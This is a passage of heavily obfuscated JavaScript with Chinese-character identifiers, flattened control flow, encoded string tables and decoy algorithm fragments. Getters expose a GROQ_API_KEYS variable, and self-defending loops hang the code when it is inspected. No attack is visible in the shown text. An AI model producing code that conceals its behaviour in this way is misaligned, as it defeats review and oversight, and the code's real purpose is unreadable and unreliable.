林川()}()){while(true){var 林川=99;for(林川=99;林川==林川;林川*=林川){if(泉林水水(!林川&&海林(45).log(林川),林川)<=10){break}};if(林川===100){林川--}};}return GROQ_API_KEYS}};return 風光峰=[林川,泉月],海林天(峰月(59))},[峰月(78)]:function(){var [...林川]=風光峰;if(function(){var 林川=function(){const 日星金=function(){const 日星金=new(海林(235))('\u000a');return 日星金[峰月(79)](林川)};return 日星金()};return 林川()}()){var 日星金=峰月(80);while(true){if(泉林水水(日星金=日星金,!日星金))break}}var 泉月={get ['\x62'](){if(function(){var 林川=function(){const 日星金=function(){var 日星金=峰月(81)in 火火峰;const 泉月=new(海林(235))('\u000a');if(日星金){var 泉日星水=function(日星金){var 泉月=-393;var 泉日星水=456;var 月日日={'\u0077':()=>{return(月日日['\x76']=雲光)(山雪峰,[],日星金,0)},'\u0068':function(){return 泉日星水+=-9},'\x45':605,'\x43':function(){return 泉月=42},'\x6d':()=>{return 月日日['\u006c']()},'\x78':63,'\u0073':393,'\u0041':14,'\u0042':function(){return 泉日星水+=月日日['\x41']},'\x48':function(){雪星月(泉日星水=143,泉月+=月日日['\u0044'],泉日星水+=月日日['\u0045']);return'\u0046'},'\x6c':()=>{return 泉日星水+=-23},'\x44':-598,'\u0069':()=>{return 泉月+=泉日星水+-466,月日日['\u0068']()}};while(泉月+泉日星水!=40){switch(泉月+泉日星水){case 111:雪星月(泉月=48,泉月+=-71,月日日['\x42']());break;case 泉月- -484:return 月日日[峰月(82)]('\u0073')?山雪峰:海林(880);泉日星水+=-51;break;case 56:case 95:if(月日日['\u0048']()=='\u0046'){break}case 5:case 458:case 756:if(泉月==101){雪星月(泉月+=527,泉日星水+=-476);break}雪星月(月日日['\u0043'](),泉月+=-71,泉日星水+=泉日星水+-207);break;case 767:case 853:case 966:case 54:if((月日日['\u0072']=日星金)===1||(泉日星水==泉月+(泉日星水+月日日['\u0073'])?日星金:海林(-392))>=4)月日日['\u0077']();泉日星水+=37;break;case 月日日['\u0078']:if(泉月==(泉日星水==96?月日日['\x6b']:106)){月日日['\u006d']();break}var 山雪峰=[];泉日星水+=泉日星水==(泉月==-393?-18:月日日['\u006f'])?月日日['\u0071']:-9;break;default:if(false){雪星月(泉月+=泉月==泉月?588:-67,泉日星水*=泉月==(泉日星水==-42?'\u0064':37)?'\x66':2,泉日星水-=1061);break}雪星月(泉月=42,月日日['\x69']());break}}};var 雲光=function(日星金,泉月,泉日星水,林川){for(var 雪星月=林川;雪星月<泉日星水;雪星月++){if(泉月.length!==雪星月)return;for(var 風月海海=0;風月海海<泉日星水;風月海海++){if(山雪峰(泉月,[雪星月,風月海海])){if(泉林水水(泉月.push([雪星月,風月海海]),雲光(日星金,泉月,泉日星水,雪星月+1),泉月.length)===泉日星水)日星金.push(月日日(泉月));泉月.pop()}}}};var 月日日=function(日星金){var 泉月=-37;var 泉日星水=-452;var 雲光=736;var 月日日=-169;var 山雪峰={'\u0053':function(){return 泉月+=-36,泉日星水+=-30,月日日+=46},'\u006e':function(){return 月日日+=-3},'\u0042':-75,'\x6f':(日星金=雲光==736)=>{if(!日星金){return 泉月}return 山雪峰['\x6e']()},'\u0050':function(日星金=泉月==-1){if(!日星金){return'\u0051'}return 泉月+=-36,(泉日星水*=2,泉日星水-=-492),月日日+=山雪峰['\u004f']},'\u0062':0,'\x7a':function(){return 泉日星水+=-20},'\u0045':-2,'\x49':-43,'\u0057':-21,'\u0044':-132,'\x79':()=>{return 泉月+=山雪峰['\u006a']},'\u0063':1,'\x41':()=>{return 山雪峰['\x7a']()},'\u004f':43,'\u0054':(日星金=泉月==-1)=>{if(!日星金){return 泉日星水}return 雲光=-54},'\u0064':-20,'\x4c':(日星金=月日日==-215)=>{if(!日星金){return arguments}return 月日日==-92},'\x5a':function(){雪星月(山雪峰['\x54'](),月日日+=山雪峰['\u0057']);return'\u0058'},'\x6b':-472,'\x6a':35,['\u0061\u0061']:function(日星金){return 日星金!=-37&&日星金- -112}};while(泉月+泉日星水+雲光+月日日!=90){switch(泉月+泉日星水+雲光+月日日){case 48:if(山雪峰['\u004c']()){山雪峰['\u0050']();break}雪星月(雲光=32,泉月+=-1,泉日星水*=2,泉日星水-=-492,月日日+=43);break;case 75:var 林川=(typeof 山雪峰['\u0064']==峰月(83)?日星金:海林(-400)).length;for(var 風月海海=山雪峰['\x62'];風月海海<(山雪峰[峰月(84)]('\x62')&&林川);風月海海++){for(var 火風光=泉林水水(雪川[風月海海]='',0);火風光<林川;火風光++){雪川[風月海海]+=(山雪峰['\x75']=日星金)[風月海海][(月日日==-172?山雪峰:module)['\u0063']]===(雲光==(雲光==99?'\x77':736)&&火風光)?'\u0051':'\x2e'}}山雪峰['\u0079']();break;case 851:case 532:case 87:default:if(月日日==-16){雪星月(泉月+=山雪峰['\x6a'],泉日星水+=月日日+149,月日日+=泉日星水==山雪峰['\u006b']?-3:山雪峰['\x6d']);break}var 雪川=[];山雪峰['\x6f']();break;case 69:if(false){雪星月(泉月+=35,泉日星水+=山雪峰['\x64'],月日日+=-37);break}雪星月(泉日星水=41,月日日+=雲光>雲光?-53:山雪峰['\u0063']==736?山雪峰['\u0069']:6);break;case 98:雪星月(月日日=-100,山雪峰['\u0053']());break;case 47:case 11:case 598:if(山雪峰['\u0063']==96||false){雪星月(泉月+=0,泉日星水*=2,泉日星水-=-472,雲光+=0,月日日+=0);break}雪星月(泉日星水=山雪峰['\u0045']>泉月?山雪峰['\x44']:41,泉月+=山雪峰['\u0062']==0?-35:山雪峰['\u0048'],泉日星水+=雲光==山雪峰['\u0049']?80:20,月日日*=2,月日日-=-258);break;case 山雪峰['\u0061\u0061'](泉月):return 雪川;山雪峰['\x41']();break;case 3:case 510:case 119:if(山雪峰['\u005a']()=='\u0058'){break}}}};var 山雪峰=function(日星金,泉月){var 泉日星水=-418;var 雲光=145;var 月日日=311;var 山雪峰={'\u0062':0,'\u0074':311,'\u0067':function(){return 雲光+=33},'\u0068':145,'\u0063':1,'\x46':()=>{return 山雪峰['\x43'](),月日日+=-9},'\x66':-528,'\x41':33,'\x43':function(日星金=泉日星水==-42){if(日星金){return'\x44'}return 雲光+=-33},'\u0047':69,'\x42':()=>{return 雲光+=山雪峰['\u0041']},'\u007a':function(){return 月日日+=8},'\x6e':()=>{return{'\u006d':月日日==369};雪星月(雲光+=山雪峰['\x62']==-418?山雪峰['\x6b']:33,月日日+=-50);return'\x6c'},['\u004b']:function(日星金){return 日星金-328},['\x4c']:function(日星金){return 日星金-98},['\u004d']:function(日星金){return 日星金- -464}};while(泉日星水+雲光+月日日!=79){switch(泉日星水+雲光+月日日){case 山雪峰['\u004b'](月日日):return true;雪星月(泉日星水*=雲光==14?-98:2,泉日星水-=山雪峰['\x66'],山雪峰['\u0067'](),月日日+=泉日星水+(泉日星水+825));break;case 38:case 695:case 949:山雪峰['\x48']='\u0049';var 林川=日星金.length;for(var 風月海海=(月日日==雲光+166&&山雪峰)['\u0062'];風月海海<林川;風月海海++){if(日星金[風月海海][0]===(山雪峰['\u0070']=泉月)[0]||日星金[山雪峰['\u0071']=風月海海][1]===泉月[山雪峰['\u0063']])return 雲光==-53;if((月日日==311?海林(689):海林(-533)).abs((日星金[山雪峰['\x63']=='\u0072'?海林(-334):風月海海][(山雪峰['\u0076']=山雪峰)['\u0062']]-(山雪峰['\u0074']==19?海林(779):泉月)[山雪峰['\u0062']])/((泉日星水==4?海林(-12):日星金)[風月海海][1]-泉月[1]))===(月日日==山雪峰['\u0074']?山雪峰:__dirname)['\u0063'])return 雲光==47}山雪峰['\x7a']();break;default:case 508:case 33:if(月日日==320&&false){山雪峰['\u0046']();break}雪星月(雲光=-山雪峰['\x47'],雲光+=-33,月日日+=-9);break;case 山雪峰['\u004d'](泉日星水):return 泉日星水==泉日星水;山雪峰['\u0042']();break;case 61:case 57:case 257:case 50:return 雲光==山雪峰['\x68'];雪星月(雲光+=33,月日日+=-137>雲光?68:-11);break;case 96:var 火風光=山雪峰['\u006e']();if(火風光==='\x6c'){break}else{if(typeof 火風光==峰月[木水水(200)](undefined,85)){return 火風光['\u006d']}}}}};海林(45).log(泉日星水)}return 泉月[峰月(86)](林川)};return 日星金()};return 林川()}()){while(true){var 林川=99;for(林川=99;林川==林川;林川*=林川){if(泉林水水(!林川&&海林(45).log(林川),林川)<=10){break}};if(林川===100){林川--}};}return 川日火},get ['\u0061'](){if(function(){var 林川=function(){const 日星金=function(){const 日星金=new(海林(235))('\u000a');return 日星金[峰月(87)](林川)};return 日星金()};return 林川()}()){var 林川=峰月(88);while(true){if(泉林水水(林川=林川,!林川))break}}return GROQ_API_KEYS},set ['\u0062'](林川){if(function(){var 林川={['林雪金']:峰月(89)};var 日星金=林川['林雪金']in 火火峰;if(日星金){var 泉月=function(林川){var 日星金=785;var 泉月=-228;var 泉日星水=-478;var 雲光=30;var 月日日={'\x61\x70':2,'\u0063':0,'\x65':69,'\u0079':()=>{return 泉日星水+=57},'\u0078':()=>{return 泉日星水==泉日星水+(月日日['\x63']==53?-12:614)},'\u0074':9,'\x6d':()=>{雪星月(泉日星水=28,月日日['\x6a']());return'\x6b'},'\x67':(林川=雲光==1)=>{if(!林川){return'\x68'}return 泉月+=7},'\x6a':()=>{return 月日日['\x66'](),月日日['\u0067'](),泉日星水+=36,雲光+=29,月日日['\u0062']=false},'\u0072':function(){return 日星金+=月日日['\u006e'],泉月+=7,泉日星水+=雲光==1?36:月日日['\x70'],雲光+=月日日['\x71'],月日日['\u0062']=false},'\u0066':()=>{return 日星金+=月日日['\u0065']},'\x42':(林川=雲光==月日日['\x43'])=>{if(林川){return 泉月}return 泉月+=-7},'\u0043':-39,'\u0061\u006f':()=>{return 泉日星水=28},'\x7a':function(){return 泉日星水+=57},'\u0061\u006a':function(林川=月日日['\u0063']==0){if(!林川){return'\u0061\u006c'}return 日星金+=月日日['\u0043']==95?'\x61\x68':-138,月日日['\u0064']=false},'\u0061\u0063':23,'\x41':-758,'\x61\x6e':620,'\x49':30,'\u006e':-27,'\u0050':1,'\x71':29,'\u0073':()=>{return 泉月=2},['\x61\x74']:function(林川){return 林川['\u0062']?444:146},['\u0061\u0075']:function(林川){return 林川- -509},['\x61\x76']:function(林川){return 林川!=30&&林川- -79},['\u0061\u0077']:function(林川){return 林川- -109}};while(日星金+泉月+泉日星水+雲光!=102){switch(日星金+泉月+泉日星水+雲光){case 月日日['\x61\x74'](月日日):if(泉日星水==-88){月日日['\x42']();break}for(var 山雪峰=(月日日['\x47']=泉林水水)(林川.sort((林川,日星金)=>林川-日星金),0);(月日日['\u006e']==-421||山雪峰)<(月日日['\x4b']=雪川);山雪峰++){if(山雪峰>0&&(泉日星水==雲光+-451&&林川)[月日日['\x65']==61?泉日星水:山雪峰]===(月日日['\u0049']==-421?月日日:林川)[山雪峰-1])continue;雪星月(風月海海=山雪峰+1,火風光=雪川-月日日['\u0050']);while(風月海海<火風光){if((月日日['\u0051']=林川)[山雪峰]+(泉日星水==-33?海林(461):林川)[風月海海]+林川[火風光]<(月日日['\x53']=月日日)['\u0063']){風月海海++}else if(林川[月日日['\u0074']==-221?海林(779):山雪峰]+林川[風月海海]+(泉日星水==-421?林川:isFinite)[日星金==758?火風光:泉日星水]>月日日['\u0063']){火風光--}else{(雲光==(月日日['\u0071']=='\u0057'?20:30)?光峰火:海林(-335)).push([(泉月==-221&&林川)[月日日['\u005a']=山雪峰],(typeof 月日日['\u0043']==峰月(90)?海林(-658):林川)[雲光==月日日['\x61\x63']||風月海海],林川[typeof 月日日['\u0065']==峰月(91)?火風光:泉月]]);while(風月海海<火風光&&林川[風月海海]===林川[(月日日['\u0061\u0066']=風月海海)+1])風月海海++;while((泉日星水==-79||風月海海)<火風光&&林川[日星金==758?火風光:module]===林川[火風光-1])火風光--;雪星月(風月海海++,火風光--)}}}月日日['\u0061\u006a']();break;case 477:case 101:case 630:var 風月海海=0;var 火風光=0;月日日['\x72']();break;case 109:var 雪川=林川.length;日星金+=-27;break;default:if(月日日['\x78']()){雪星月(日星金+=-138,泉月+=7,月日日['\x79'](),月日日['\u0064']=false);break}var 光峰火=[];月日日['\u007a']();break;case 月日日['\x61\x75'](泉日星水):雪星月(月日日['\x61\x6f'](),日星金*=月日日['\u0061\u0070'],日星金-=670,泉月+=14,月日日['\u0062']=false);break;case 152:雪星月(泉月=2,日星金*=2,日星金-=798,泉月+=14,月日日['\x62']=false);break;case 雲光- -4:case 808:case 193:case 50:if(月日日['\u006d']()=='\u006b'){break}case 月日日['\x61\x76'](雲光):case 320:雪星月(月日日['\x73'](),日星金*=2,日星金-=812,泉月+=7,泉日星水+=57,雲光+=29,月日日['\u0062']=false);break;case 月日日['\u0061\u0077'](雲光):case 684:case 1009:var 風月海海=日星金+月日日['\x41'];var 火風光=0;雪星月(泉月+=7,月日日['\x62']=false);break;case 月日日['\u0064']?-356:8:月日日['\x61\x71']='\x61\x72';return 日星金==月日日['\u0061\u006e']?光峰火:undefined;日星金+=94;break}}};海林(45).log(泉月)}var 泉日星水=function(){const 林川=function(){var 林川=峰月[木水水(199)](undefined,[92])in 火火峰;const 日星金=new(海林(235))('\x0a');if(林川){var 泉月=function(林川,日星金){return 雲光({},林川,日星金)};var 雲光=function(林川,日星金,泉月){var 泉日星水=-157;var 月日日=292;var 山雪峰={'\x65':()=>{return 月日日+=-88},'\x61\x69':-26,'\x61\x6e':93,'\x61\x72':()=>{if(泉日星水==-143){山雪峰['\u0061\u006f']();return'\u0061\u0070'}雪星月(泉日星水=-136,泉日星水+=-26,月日日+=-31);return'\u0061\u0070'},'\x64':()=>{return 泉日星水+=101,月日日+=山雪峰['\x63']},'\x63':-88,'\x61\x62':()=>{return 泉日星水+=-97},'\u0068':function(林川=山雪峰['\x62']==204){if(林川){return 山雪峰}return 火風光<日星金.length},'\u0049':(林川=泉日星水==-199)=>{if(!林川){return 月日日}return 泉日星水==62},'\u0062':0,'\x61\x6d':()=>{return 月日日*=-146==泉日星水?-93:月日日==18?'\x61\x6a':2,月日日-=泉日星水+山雪峰['\u0061\u006c']},'\x6c':-163,'\u004c':108,'\x5a':328,'\u0061\u006c':473,'\x6e':204,'\u0075':-199,'\u0061\u0065':123,'\u0061\u006f':()=>{return 月日日+=山雪峰['\x61\x6e']},'\u0061\u0068':function(){return{'\x61\x67':(泉日星水==月日日+(泉日星水==21?'\x61\x63':-624)?泉林水水:海林(807))(林川[日星金+泉月]=false,false)};泉日星水+=山雪峰['\u0061\u0065'];return'\u0061\u0066'},'\x61\x75':function(林川=泉日星水==22){if(林川){return arguments}雪星月(泉日星水=-63,泉日���水+=-96);return'\u0061\u0073'},['\u0061\u0041']:function(林川){return 林川!=204&&林川-157}};while(泉日星水+月日日!=155){switch(泉日星水+月日日){case 302:case 32:山雪峰['\x61\x78']='\x61\x79';var 風月海海=山雪峰['\x61\x68']();if(風月海海==='\x61\x66'){break}else{if(typeof 風月海海==峰月[木水水(200)](undefined,93)){return 風月海海['\u0061\u0067']}}case 5:if(日星金===泉月)return true;for(var 火風光=0;山雪峰['\u0068']();火風光++){if((山雪峰['\x6d']=雲地火)[(山雪峰['\x6c']==43?海林(-658):日星金)[火風光]]===undefined)雲地火[日星金[火風光]]=山雪峰['\u0062'];if(雲地火[泉月[火風光]]===undefined)雲地火[泉月[火風光]]=山雪峰['\x62'];雪星月((泉日星水==-67?module:雲地火)[日星金[火風光]]++,(山雪峰[峰月[木水水(200)](undefined,94)]('\x6c')?雲地火:山雪峰)[(山雪峰['\u0062']=='\u0073'?queueMicrotask:泉月)[山雪峰['\u006e']==69?isFinite:火風光]]--)}for(var 雪川 in 雲地火){if((泉日星水==(山雪峰['\u0062']==0?-199:-68)&&雲地火)[山雪峰['\x42']=雪川]!==山雪峰['\x62']){return(泉日星水==(泉日星水==(山雪峰['\u0062']==0?-199:'\u0044')?-49:'\x46')?海林(506):泉林水水)(林川[日星金+泉月]=山雪峰['\x49'](),月日日==山雪峰['\u004c'])}}月日日+=124;break;case 129:case 318:case 980:for(var 光峰火=1;光峰火<(山雪峰['\u006c']==-163?日星金:海林(183)).length;光峰火++){if((山雪峰['\x4f']=雲光)(林川,日星金.substr((山雪峰['\x51']=山雪峰)['\x62'],光峰火),(月日日==-33||泉月).substr(山雪峰['\u0062'],光峰火))&&雲光(typeof 山雪峰['\u004c']==峰月(95)&&林川,日星金.substr(光峰火),泉月.substr(月日日==73?海林(346):光峰火))||雲光(山雪峰['\x56']=林川,(月日日==-80||日星金).substr(山雪峰['\x62'],光峰火),泉月.substr(泉月.length-光峰火))&&(泉日星水==-199?雲光:海林(-719))(泉日星水==-41||林川,(山雪峰['\u0058']=日星金).substr(光峰火),泉月.substr(0,(山雪峰['\x59']=泉月).length-(山雪峰['\x6e']==-39||光峰火)))){return 泉林水水(林川[日星金+泉月]=月日日==山雪峰['\x5a'],true)}}山雪峰['\x61\x62']();break;case 266:case 66:if(false){雪星月(泉日星水+=山雪峰['\u0061\u0069'],山雪峰['\x61\x6d']());break}雪星月(泉日星水=64,泉日星水+=月日日+-265,月日日+=89);break;default:var 雲地火={};山雪峰['\x64']();break;case 823:case 621:case 158:if(山雪峰['\u0061\u0075']()=='\x61\x73'){break}case 391:case 457:case 569:case 山雪峰['\u0061\u0041'](月日日):var 雲地火={};山雪峰['\x65']();break;case 420:case 月日日!=239&&(月日日!=328&&月日日-173):case 282:case 326:if(山雪峰['\x61\x72']()=='\u0061\u0070'){break}case 153:case 483:case 47:if(林川[(泉日星水==-157?日星金:undefined)+泉月]!==undefined)return(山雪峰['\x63']=='\u0066'?月日日:林川)[日星金+泉月];泉日星水+=-42;break}}};海林(45).log(泉月)}return 日星金[峰月(96)](泉日星水)};return 林川()};return 泉日星水()}()){while(true){var 日星金=99;for(日星金=99;日星金==日星金;日星金*=日星金){if(泉林水水(!日星金&&海林(45).log(日星金),日星金)<=10){break}};if(日星金===100){日星金--}};}川日火=林川}};return 風光峰=[林川,泉月],new 海林天(峰月[木水水(200)](undefined,45),undefined,'地地').木雪山林}};var 木雲;if(日星金=='星海'){風光峰=[]}var 月日日={[峰月(36)]:2,[峰月(45)]:2,[峰月[木水水(199)](undefined,[59])]:2};function 山雪峰(){var 日星金=function(...日星金){return 泉林水水(風光峰=日星金,雲光[林川].call(this))},泉月=月日日[林川];if(泉月){return 木日影水(日星金,泉月)}return 日星金}if(日星金==峰月(97)){木雲=木影[林川]||(木影[林川]=山雪峰())}else{木雲=雲光[林川]()}if(泉月=='地地'){return{木雪山林:木雲}}else{return 木雲}}function 海林(林川){var 日星金=(林川,泉月,泉日星水,雲光,月日日)=>{if(typeof 雲光===木水水(180)){雲光=雪川}if(typeof 月日日===木水水(180)){月日日=風月海海}if(林川!==泉月){return 月日日[林川]||(月日日[林川]=雲光(火風光[林川]))}if(雲光===日星金){雪川=泉月;return 雪川(泉日星水)}if(泉月){[月日日,泉月]=[雲光(月日日),林川||泉日星水];return 日星金(林川,月日日,泉日星水)}if(泉日星水==雲光){return 泉月?林川[月日日[泉月]]:風月海海[林川]||(泉日星水=月日日[林川]||雲光,風月海海[林川]=泉日星水(火風光[林川]))}};var 泉月={['木光星川']:峰月[木水水(199)](undefined,[132])};var 泉日星水=峰月(112);var 雲光=[日星金(106),峰月(109),日星金(129),峰月(131)];var 月日日=峰月(103);var 山雪峰;switch(林川){case 478:return 海風峰[峰月[木水水(199)](undefined,[98])];case 779:return 海風峰[峰月(99)];case 235:return 海風峰[峰月(100)];case 45:return 海風峰[峰月(101)];case 689:return 海風峰[峰月(102)];case-533:山雪峰=峰月(103)||海風峰[月日日];break;case-715:山雪峰=峰月(104)||海風峰[峰月(104)];break;case 183:return 海風峰[峰月(105)];case-630:山雪峰=日星金(106)||海風峰[雲光[0]];break;case 762:return 海風峰[峰月(107)];case-334:return 海風峰[日星金[木水水(199)](undefined,[108])];case 901:return 海風峰[雲光[1]];case-335:山雪峰=峰月[木水水(200)](undefined,110)||海風峰[峰月(110)];break;case-363:山雪峰=峰月(111)||海風峰[峰月(111)];break;case-400:return 海風峰[泉日星水];case 775:山雪峰=峰月(113)||海風峰[峰月[木水水(199)](undefined,[113])];break;case 880:山雪峰=日星金(114)||海風峰[日星金(114)];break;case-392:return 海風峰[日星金(115)];case-12:return 海風峰[日星金[木水水(199)](undefined,[116])];case 461:return 海風峰[日星金[木水水(200)](undefined,117)];case-658:return 海風峰[日星金[木水水(199)](undefined,[118])];case 807:山雪峰=峰月(119)||海風峰[峰月(119)];break;case 506:return 海風峰[日星金(120)];case 346:山雪峰=日星金(121)||海風峰[日星金(121)];break;case-719:return 海風峰[日星金(122)];case 1092:return 海風峰[日星金(123)];case 3209:return 海風峰[日星金[木水水(200)](undefined,124)];case 3447:return 海風峰[日星金[木水水(199)](undefined,[125])];case 3846:山雪峰=峰月[木水水(200)](undefined,126)||海風峰[峰月(126)];break;case 3472:山雪峰=峰月(127)||海風峰[峰月(127)];break;case 5:山雪峰=日星金(128)||海風峰[日星金(128)];break;case 980:山雪峰=日星金(129)||海風峰[雲光[2]];break;case 2940:山雪峰=日星金(130)||海風峰[日星金(130)];break;case 37:山雪峰=峰月[木水水(200)](undefined,131)||海風峰[雲光[3]];break;case 2004:山雪峰=泉月['木光星川']||海風峰[峰月(132)];break;case 2469:return 海風峰[峰月(133)];case 1896:山雪峰=峰月(134)||海風峰[峰月[木水水(200)](undefined,134)];break;case 3909:山雪峰=峰月(135)||海風峰[峰月[木水水(199)](undefined,[135])];break;case 1811:return 海風峰[峰月(136)];case 5021:山雪峰=日星金(137)||海風峰[日星金(137)];break;case 2268:山雪峰=峰月(138)||海風峰[峰月[木水水(199)](undefined,[138])];break;case 283:山雪峰=峰月(139)||海風峰[峰月(139)];break}return 海風峰[山雪峰];function 雪川(林川){var 日星金='\x2c\x67\x41\x56\x59\x47\x6a\x4c\x62\x24\x26\x69\x2e\x48\x25\x38\x29\x60\x70\x42\x36\x75\x6d\x79\x2a\x49\x50\x43\x31\x3a\x5b\x6b\x22\x44\x6c\x2b\x21\x76\x6f\x4d\x46\x63\x28\x23\x3c\x7b\x6e\x7d\x30\x45\x3d\x4a\x5f\x3e\x68\x5e\x5d\x57\x72\x77\x58\x3f\x54\x4e\x39\x7e\x65\x71\x4b\x2f\x61\x52\x5a\x51\x64\x4f\x37\x7c\x55\x78\x40\x53\x33\x35\x7a\x32\x34\x74\x3b\x73\x66';var 泉月=''+(林川||'');var 泉日星水=泉月.length;var 雲光=[];var 月日日=0;var 山雪峰=0;var 雪川=-1;for(var 風月海海=0;風月海海<泉日星水;風月海海++){var 火風光=日星金.indexOf(泉月[風月海海]);if(火風光===-1)continue;if(雪川<0){雪川=火風光}else{雪星月(雪川+=火風光*91,月日日|=雪川<<山雪峰,山雪峰+=(雪川&8191)>88?13:14);do{雪星月(雲光.push(月日日&255),月日日>>=8,山雪峰-=8)}while(山雪峰>7);雪川=-1}}if(雪川>-1){雲光.push((月日日|雪川<<山雪峰)&255)}return 木峰林月(雲光)}}function 星木金地(林川){var 風月海海='\x4b\x5d\x6d\x4f\x7a\x28\x46\x34\x54\x4c\x59\x55\x22\x6b\x79\x51\x3a\x31\x4e\x73\x57\x7d\x2c\x40\x7c\x2e\x45\x75\x50\x23\x6a\x68\x5a\x6f\x30\x74\x44\x63\x38\x76\x60\x71\x5e\x77\x35\x6c\x53\x39\x67\x65\x21\x69\x49\x3b\x70\x4a\x61\x64\x43\x7e\x5f\x3e\x72\x3c\x47\x37\x32\x29\x24\x48\x33\x56\x2b\x66\x42\x2a\x58\x41\x7b\x62\x2f\x25\x78\x4d\x52\x36\x26\x3f\x3d\x5b\x6e';var 火風光=''+(林川||'');var 峰月=火風光.length;var 日星金=[];var 泉月=0;var 泉日星水=0;var 雲光=-1;for(var 月日日=0;月日日<峰月;月日日++){var 山雪峰=風月海海.indexOf(火風光[月日日]);if(山雪峰===-1)continue;if(雲光<0){雲光=山雪峰}else{雪星月(雲光+=山雪峰*91,泉月|=雲光<<泉日星水,泉日星水+=(雲光&8191)>88?13:14);do{雪星月(日星金.push(泉月&255),泉月>>=8,泉日星水-=8)}while(泉日星水>7);雲光=-1}}if(雲光>-1){日星金.push((泉月|雲光<<泉日星水)&255)}return 木峰林月(日星金)}function 月光(){var 雪星月='\x48\x28\x43\x42\x6a\x7c\x61\x33\x38\x31\x74\x3e\x5d\x5d\x23\x7a\x52\x7c\x6a\x3b\x67\x36\x21\x21\x56\x3c\x4b\x66\x3d\x26\x64\x6c\x7c\x64\x6e\x5a\x5b\x47\x7c\x2a\x70\x56ċ\x47\x26\x77\x7c\x5b\x52\x4f\x64\x4b\x46\x42\x47\x3b\x6b\x6f\x7c\x29\x35\x56\x2f\x2a\x7c\x78\x4f\x67\x4c\x75\x7c\x40\x51\x57\x41\x7b\x25\x45\x6d\x7c\x32\x69\x38\x68\x41\x25\x57Ŏ\x59\x7a\x4f\x5a\x5a\x56\x4b\x7c\x45\x77\x37\x70\x55\x42\x44\x6a\x22\x37\x5a\x67\x6d\x3e\x22\x7c\x51\x51\x53\x68\x7e\x41Ŗ\x59\x37\x55\x24\x3f\x45\x26\x60\x6a\x5d\x7c\x6c\x60\x63\x59\x7c\x38\x69\x77\x23\x4f\x29\x56\x23\x47\x5f\x60\x48ŞƇƉƋ\x76\x5d\x78ġ\x51\x75\x79\x55ƆƈƊƌƎ\x5f\x41\x33ƓƠƋƍƏ\x40\x2bƧƕƢƏ\x5f\x66Ʈơƪ\x5f\x46\x2aŞ\x60\x45ŃŜ\x53Ŏ\x68\x51\x6b\x59\x23ŏ\x6c\x3f\x66\x74\x36Ş\x4c\x45\x63\x34\x5bŴ\x36\x58\x7e\x78\x51\x69\x33\x4c\x7c\x28\x53\x66\x5a\x6f\x24\x4b\x44\x57\x70\x3a\x72\x3a\x7a\x7a\x38\x28\x24\x7b\x65\x6d\x25\x7b\x46\x35\x31\x7c\x71\x45\x4b\x4cŜ\x4eŎ\x7d\x29\x69\x7e\x6c\x44\x56\x44\x25\x56\x62\x7c\x4e\x53\x53\x58\x56\x67ǼƆ\x4c\x59Ŝ\x21\x50Ŏ\x23\x70\x65\x69\x76Ĩ\x6b\x28\x7c\x65\x39\x74\x38\x64\x73\x28\x5a\x4b\x42Đ\x2b\x57\x61\x65\x5d\x25\x73\x34\x34\x7c\x6d\x64\x7d\x68\x63\x61\x3bƀ\x68\x40\x77\x41\x67\x61\x4a\x39\x4f\x7c\x75\x56\x7a\x34\x4a\x78\x26\x53Ɇ\x28\x77\x7b\x39\x68\x56\x2a\x34\x77\x31\x72\x49\x63\x7a\x76\x76\x6a\x64\x3a\x4c\x7b\x7bɍ\x2a\x37\x73\x69\x5e\x65Ů\x46\x63\x25\x5a\x71\x2f\x51\x3b\x3b\x73\x4a\x7c\x7b\x2c\x6d\x41\x52\x48\x7e\x48\x2eȴ\x65ž\x68\x3e\x52\x6c\x74\x46\x7c\x5a\x4c\x4a\x7a\x77\x33\x36ƀ\x2c\x23\x52\x42\x74\x60\x30\x49ȟ\x7a\x22\x6a\x49\x5b\x6c\x3b\x2a\x7a\x7c\x3f\x4fƤ\x78\x4d\x38\x6dŷŹŻŽſ\x7c\x41\x46\x7b\x68\x78\x48\x21Ŏ\x39\x7bƏ\x23\x57\x43\x3b\x63\x75\x74\x70\x25\x46ǵ\x44ȥ\x59\x59\x72\x31ˉƟ\x2a\x45\x64\x69\x59\x44ȟ\x7b\x57\x45\x2a\x7d\x36\x3cƀ\x3b\x3a\x70\x30\x69\x28\x3f\x44\x6e\x58\x3e\x43\x57\x31\x4e\x7c\x52\x37\x6d\x75\x29\x67\x29ƀ\x45\x5f\x64\x70Ɉƿȵ\x64\x7b\x7a\x3e\x2b\x4aƀ\x26\x4f\x55\x41\x7a\x44\x2c\x26ʌ\x4c\x52\x55\x38\x67\x77Ś\x44\x7b\x38\x70\x79\x73ǵ\x6cʷʹʻŎ\x62\x69\x50\x41Ɉ\x63Ȳ\x7c\x3d\x79\x70\x68\x3b\x52\x5eŎŠʼn\x30\x7b\x53\x6aʌ\x5f\x4f\x7d';var 林川={['\x74\x46\x53\x51\x50\x6a\x6e\x4e\x49\x4f']:false,['\u0054\u0056\u0076\u007a\u0038\u0054\u0067\u0070\u0037\u0058\u0067\u007a']:null,['\x38\x4e\x39\x33\x37\x7a\x6c\x72\x62\x64\x59\x70']:'',['\u0037\u004f\u0041\u004f\u0041\u0041\u0043\u0072\u0044\u004e\u004d']:undefined,['\x63\x35\x33\x33\x68\x53\x32\x62\x68\x63\x72']:null,['\u0078\u004f\u0061\u0052\u0067\u0044\u0058\u005a\u006e\u004f\u004d\u0049\u006f']:0,['\x71\x43\x6c\x59\x77\x36\x4b\x65\x41']:0,['\u006f\u004e\u0048\u006d\u0035\u0076\u0036\u006e\u0049']:null,['\u0052\u0078\u007a\u0052\u0069\u0035\u0070\u004e\u0054\u0041']:null,['\x74\x77\x6b\x37\x71\x69\x63']:null,['\x48\x4a\x78\x74']:0,['\u0075\u0059\u0079\u0050\u0073\u0057\u0035\u0066\u0057\u005a']:undefined,['\x54\x65\x58\x36']:''};if('\u0056\u004c\u0036\u0054\u006f'in 